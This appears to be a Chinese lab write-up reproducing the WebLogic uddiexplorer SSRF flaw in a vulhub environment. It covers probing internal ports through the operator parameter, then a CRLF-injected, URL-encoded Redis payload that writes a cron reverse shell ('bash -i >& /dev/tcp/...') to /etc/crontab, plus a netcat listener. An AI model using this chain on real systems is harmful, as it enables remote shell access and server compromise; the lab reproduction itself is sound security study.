WebLogic SSRF漏洞复现

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis组件。
使用docker-compose命令搭建vulhub中的weblogic-ssrf
漏洞环境

靶机IP:192.168.176.131
kali虚拟机IP:192.168.176.132
redis环境IP:172.18.0.2
weblogic环境IP:172.18.0.1

漏洞环境搭建完成后,在浏览器访问http://192.168.176.131:7001/uddiexplorer/,漏洞点在“Search Public Registries”模块。
在这里插入图片描述
访问Search Public Registrie模块,点击search按钮,然后用burpsuite拦截,漏洞点在operator参数。
在这里插入图片描述
operator参数存在以下几种情况,可用于网络端口探测:

端口可访问时(http://127.0.0.1:7001):返回404报错
端口未开放(http://127.0.0.1:999):报错
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server
非http请求的开放端口返回did not have a valid SOAP content-type: null.报错

利用报错信息的不同可以探测出内网的ip和可访问的端口
可探测到172.18.0.2的6379端口开放,6379对应的是redis服务。
redis服务有如下特点

  • 未授权访问,访问redis数据库时无需输入用户名、密码
  • 具有root权限
  • 可读写文件。
    因此,利用redis数据库的上述特点,可利用以下命令向crontab文件中写入反弹shell的定时命令。(crontab文件为计划文件在etc目录下)
set 1 "\n\n\n\n * * * * * root bash -i >& /dev/tcp/192.168.176.132/555 0>&1\n\n\n\n"
config set dir /etc/      //此命令用于设置文件夹
config set dbfilename crontab  //此命令用于设置文件
save

然后将上述命令用url编码,前后加入test%0D%0A

test%0D%0A%0D%0Aset%20xx%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.176.132%2F555%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Atest

注意:url不要编码关键字,不要用burp的decoder采用全部编码,否则不会生效!

然后在kali中输入以下命令,监听555端口

nc -lvp 555

在这里插入图片描述
将上述url编码复制到operator参数,用burp发送请求
在这里插入图片描述
在靶机输入依次如下命令访问redis环境

docker ps
docker exec -it +redis ID /bin/bash

访问/etc目录,查看crontab文件,定时命令已在里面。
在这里插入图片描述
查看kali,等一会儿可以看到shell。(备注:shell出来可能有点慢,需要等一会儿)
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值